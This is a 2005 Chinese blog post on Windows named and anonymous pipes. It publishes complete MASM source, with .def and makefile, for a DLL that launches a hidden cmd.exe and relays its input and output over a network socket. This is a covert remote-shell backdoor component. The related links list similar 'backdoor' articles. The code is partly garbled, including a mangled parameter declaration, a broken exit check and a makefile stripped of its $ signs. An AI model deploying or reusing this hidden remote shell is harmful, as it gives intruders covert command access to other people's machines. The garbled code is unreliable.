利用匿名管道实现远程CMD

原创 2005年03月02日 20:54:00
一.基本的理论知识
1.什么是管道以及分类
管道是两个头的东西,每个头各连接一个进程或者同一个进程的不同代码,按照管道的类别分有两种管道,匿名的和命名的;按照管道的传输方向分也可以分成两种,单向的双向的。根据管道的特点,命名管道通常用在网络环境下不同计算机上运行的进程之间的通信(当然也可以用在同一台机的不同进程中)它可以是单向或双向的;而匿名管道只能用在同一台计算机中,它只能是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
使用管道的好处在于:读写它使用的是对文件操作的 api,结果操作管道就和操作文件一样。即使你在不同的计算机之间用命名管道来通信,你也不必了解和自己去实现网络间通信的具体细节。
2.管道的使用
A.命名管道
命名管道是由服务器端的进程建立的,管道的命名必须遵循特定的命名方法,就是 "//./pipe/管道名",当作为客户端的进程要使用时,使用"//计算机名//pipe/管道名" 来打开使用,具体步骤如下:
服务端通过函数 CreateNamedPipe 创建一个命名管道的实例并返回用于今后操作的句柄,或为已存在的管道创建新的实例。 服务端侦听来自客户端的连接请求,该功能通过 ConnectNamedPipe 函数实现。 
    客户端通过函数 WaitNamedPipe 来等待管道的出现,如果在超时值变为零以前,有一个管道可以使用,则 WaitNamedPipe 将返回 True,并通过调用 CreateFile 或 CallNamedPipe 来呼叫对服务端的连接。 
    此时服务端将接受客户端的连接请求,成功建立连接,服务端 ConnectNamedPipe 返回 True 建立连接之后,客户端与服务器端即可通过 ReadFile 和 WriteFile,利用得到的管道文件句柄,彼此间进行信息交换。 当客户端与服务端的通信结束,客户端调用 CloseFile,服务端接着调用 DisconnectNamedPipe。最后调用函数CloseHandle来关闭该管道。 
B.匿名管道
    由于命名管道使用时作为客户端的程序必须知道管道的名称,所以更多的用在同一“作者”编写的服务器/工作站程序中,你不可能随便找出一个程序来要求它和你写的程序来通过命名管道通信。而匿名管道的使用则完全不同,它允许你和完全不相干的进程通信,条件是这个进程通过控制台“console”来输入输出,典型的例子是老的 Dos 应用程序,它们在运行时 Windows 为它们开了个 Dos 窗口,它们的输入输出就是 console 方式的。还有一些标准的 Win32 程序也使用控制台输入输出,如果在 Win32 编程中不想使用图形界面,你照样可以使用 AllocConsole 得到一个控制台,然后通过 GetStdHandle 得到输入或输出句柄,再通过 WriteConsole 或 WriteFile 把结果输出到控制台(通常是一个象 Dos 窗口)的屏幕上。虽然这些程序看起来象 Dos 程序,但它们是不折不扣的 Win32 程序,如果你在纯 Dos 下使用,就会显示“The program must run under Windows!”。
一个控制台有三个句柄:标准输入、标准输出和和标准错误句柄,标准输入、标准输出句柄是可以重新定向的,你可以用匿名管道来代替它,这样一来,你可以在管道的另一端用别的进程来接收或输入,而控制台一方并没有感到什么不同,就象 Dos 下的 > 或者 < 可以重新定向输出或输入一样。通常控制台程序的输入输出如下:
(控制台进程output) write ----> 标准输出设备(一般是屏幕)
(控制台进程input) read <---- 标准输入设备(一般是键盘)
而用管道代替后: (作为子进程的控制台进程output) write ----> 管道1 ----> read (父进程)
(作为子进程的控制台进程input) read <----> 管道2 <---- write (父进程)
使用匿名管道的步骤如下:
使用 CreatePipe 建立两个管道,得到管道句柄,一个用来输入,一个用来输出 
准备执行控制台子进程,首先使用 GetStartupInfo 得到 StartupInfo 
    使用第一个管道句柄代替 StartupInfo 中的 hStdInput,第二个代替 hStdOutput、hStdError,即标准输入、输出、错误句柄 
    使用 CreateProcess 执行子进程,这样建立的子进程输入和输出就被定向到管道中 
父进程通过 ReadFile 读第二个管道来获得子进程的输出,通过 WriteFile 写第一个管道来将输入写到子进程 
    父进程可以通过 PeekNamedPipe 来查询子进程有没有输出 
    子进程结束后,要通过 CloseHandle 来关闭两个管道。

我把自己写的一个cmd动态连接库完整源代码贴出来
;*********************************************************
;程序名称:汇编实现远程才CMD
;作者:JaZzy
;日期:2005.1.17
;联系方式:QQ 28919455 EMAIL:bisonal23@yahoo.com.cn
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自“只言片语的人生~”( ::URL::http://www.blogcn.com/user24/bisonal23/index.html)
;*********************************************************
;主程序
.386
.model flat, stdcall
option casemap:none

;##############################################################################
;include files
;##############################################################################
include        C:/masm32/include/windows.inc
include    C:/masm32/include/user32.inc
include    C:/masm32/include/kernel32.inc
include    C:/masm32/include/ws2_32.inc
include    C:/masm32/include/advapi32.inc
include    C:/masm32/include/Wininet.inc
include    C:/masm32/include/shlwapi.inc

includelib   C:/masm32/lib/user32.lib
includelib C:/masm32/lib/kernel32.lib
includelib C:/masm32/lib/ws2_32.lib
includelib C:/masm32/lib/advapi32.lib
includelib C:/masm32/lib/Wininet.lib
includelib C:/masm32/lib/shlwapi.lib
;##############################################################################
                .const
szCmd    db 'cmd.exe',0
szEND    db 'END',0
szExit db 'exit',0
;##############################################################################
                .data?
szBuf1 db 65535 dup(?)
szBuf2 db 65535 dup(?)

;##############################################################################

                .code
;##############################################################################
DllEntry proc _hInstance,_dwReason,_dwReserved

mov eax,TRUE
ret
DllEntry Endp
;##############################################################################md
ReCmd proc CmdSockWORD
local @hReadPipe1
local @hWritePipe1
local @hReadPipe2
local @hWritePipe2
local @dwCount
local @dwCmdLen
local stSA:SECURITY_ATTRIBUTES
local stStartInfo:STARTUPINFO
local stProcInfo:PROCESS_INFORMATION
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;建立两个匿名管道用于和远程cmd进行数据交换
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Mov stSA.nLength,12
Mov stSA.lpSecurityDescriptor,NULL
Mov stSA.bInheritHandle,TRUE

Invoke CreatePipe,addr @hReadPipe1,addr @hWritePipe1,addr stSA,0
Invoke CreatePipe,addr @hReadPipe2,addr @hWritePipe2,addr stSA,0
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;创建一个远程的cmd.exe
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Invoke RtlZeroMemory,addr stStartInfo,sizeof STARTUPINFO

Mov stStartInfo.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
Mov stStartInfo.wShowWindow,SW_HIDE
Mov eax,@hReadPipe1
Mov stStartInfo.hStdInput,eax
Mov  eax,@hWritePipe2
Mov stStartInfo.hStdOutput,eax
Mov stStartInfo.hStdError,eax
Invoke CreateProcess,NULL,offset szCmd,NULL,NULL,1,0,/
NULL,NULL,addr stStartInfo,addr stProcInfo
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
;循环读取信息;发送数据到控制端,然后发送一个结束标志
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
.while TRUE
;***********************************************************
;从管道中读取数据并显示
;***********************************************************
.while  TRUE
Mov @dwCount,0
Invoke RtlZeroMemory,offset szBuf1,65535
.While @dwCount==0
Invoke PeekNamedPipe,@hReadPipe2,offset szBuf1,65535,/
addr @dwCount,NULL,NULL
.endw
Invoke ReadFile,@hReadPipe2,offset szBuf1,65535,addr @dwCount,NULL
Invoke send,CmdSock,offset szBuf1,@dwCount,0
.break .if eax<=0
Mov ecx,@dwCount
Dec ecx
.break .if  byte ptr[offset szBuf1+ecx]==62
.endw
Invoke send,CmdSock,offset szEND,sizeof szEND,0
;*************************************************************
;从网络上读取远程cmd命令,将其写入管道
;*************************************************************
Invoke RtlZeroMemory,offset szBuf2,65535
Invoke  recv,CmdSock,offset szBuf2,65535,0
.if eax == SOCKET_ERROR || eax == 0
  invoke WSAGetLastError
  .if eax == WSAEWOULDBLOCK
  .continue
  .else
  invoke TerminateProcess, stProcInfo.hProcess, 0;连接若断开则结束cmd进程
  .break
  .endif 
.else
Mov @dwCmdLen,eax
Invoke WriteFile,@hWritePipe1,offset szBuf2,@dwCmdLen,addr @dwCount,NULL
Invoke send,CmdSock,offset szBuf2,@dwCount,0
invoke lstrcmp,offset szBuf2,offset szExit ;如果传送过来的是exit,则退出
.break
.endif
.endw
ret
ReCmd endp
;#####################################################################

end DllEntry


cmddll.def文件
EXPORTS
ReCmd



Cmddll的makefile文件
DLL = cmddll

ML_FLAG = /c /coff
LINK_FLAG = /subsystem:windows /Dll /section:.bss,S

####################################################
# 创建共享数据段的DLL时使用的连接选项
# LINK_FLAG = /subsystem:windows /Dll /section:.bss,S
####################################################

(DLL).dll: (DLL).obj (DLL).def
Link  (LINK_FLAG) /DefDLL).def (DLL).obj

.asm.obj:
ml (ML_FLAG) <
.rc.res:
rc <

clean:
del *.obj
del *.exp
del *.lib
注:本程序在链接的时候会有一个警告,由于自己没有在具体程序中实现,现在还不知道会不会出现问题,欢迎你参与讨论。
最后感谢司令,大嘴还有网上提供资料的网友。

管道,匿名管道及其命名管道的解析

管道(UNIX) 在类Unix计算机操作系统,一个管道是一个序列过程中通过其链接在一起的标准流,使每一个过程(输出标准输出)直接提供输入(标准输入)到下一个。 管线标准的shell语法是列出多个命...

匿名管道和命名管道

进程间通信(IPC)每个进程有各自不同的用户地址空间,任何一个进程的全局变量在另一个进程中都看不到。所以进程之间要交换数据必须通过内核,在内核中开辟一块缓冲区,进程1把数据从用户空间中拷贝到缓冲区,进...

利用匿名管道实现CMD回显

SECURITY_ATTRIBUTES sa; HANDLE hRead,hWrite;    sa.nLength = sizeof(SECURITY_ATTRIBUTES);   sa.lpSec...

从利用匿名管道实现可交互式远程超级终端cmd.exe说起

为了实现

远程执行CMD命令部分代码

/****************************************************************************** 下面代码创建了一个子进程(cmd.exe...
  • nkcycq
  • nkcycq
  • 2006年09月05日 01:28
  • 2819

windows下匿名管道

1.匿名管道的介绍:     既然是匿名管道的话,自然,就是没有名字的管道了,还有一种管道呢,叫做命名管道,命名管道的功能是很强大的,匿名管道在命名管道面前,功能那是简陋的不行的,至于命名管道的话,...

利用匿名管道实现远程CMD(转)

利用匿名管道实现远程CMD(转) 一.基本的理论知识 1.什么是管道以及分类 管道是两个头的东西,每个头各连接一个进程或者同一个进程的不同代码,按照管道的类别分有两种管道,匿名的和命名的...

利用匿名管道实现远程CMD---我的解读

利用匿名管道实现远程CMD 分类: C/C++2011-07-12 21:32 803人阅读 评论(0) 收藏 举报 // vctelnetserver.cpp...

匿名管道实现基于Socket的简单cmd后门

原文地址http://hi.baidu.com/yonder88/item/06c6c5c27569810dc610b26f Back.H #ifndef BACKDOOR_H_ #defi...

匿名管道重定向cmd

  • 2015年03月21日 17:49
  • 131KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:利用匿名管道实现远程CMD
举报原因:
原因补充:

(最多只允许输入30个字)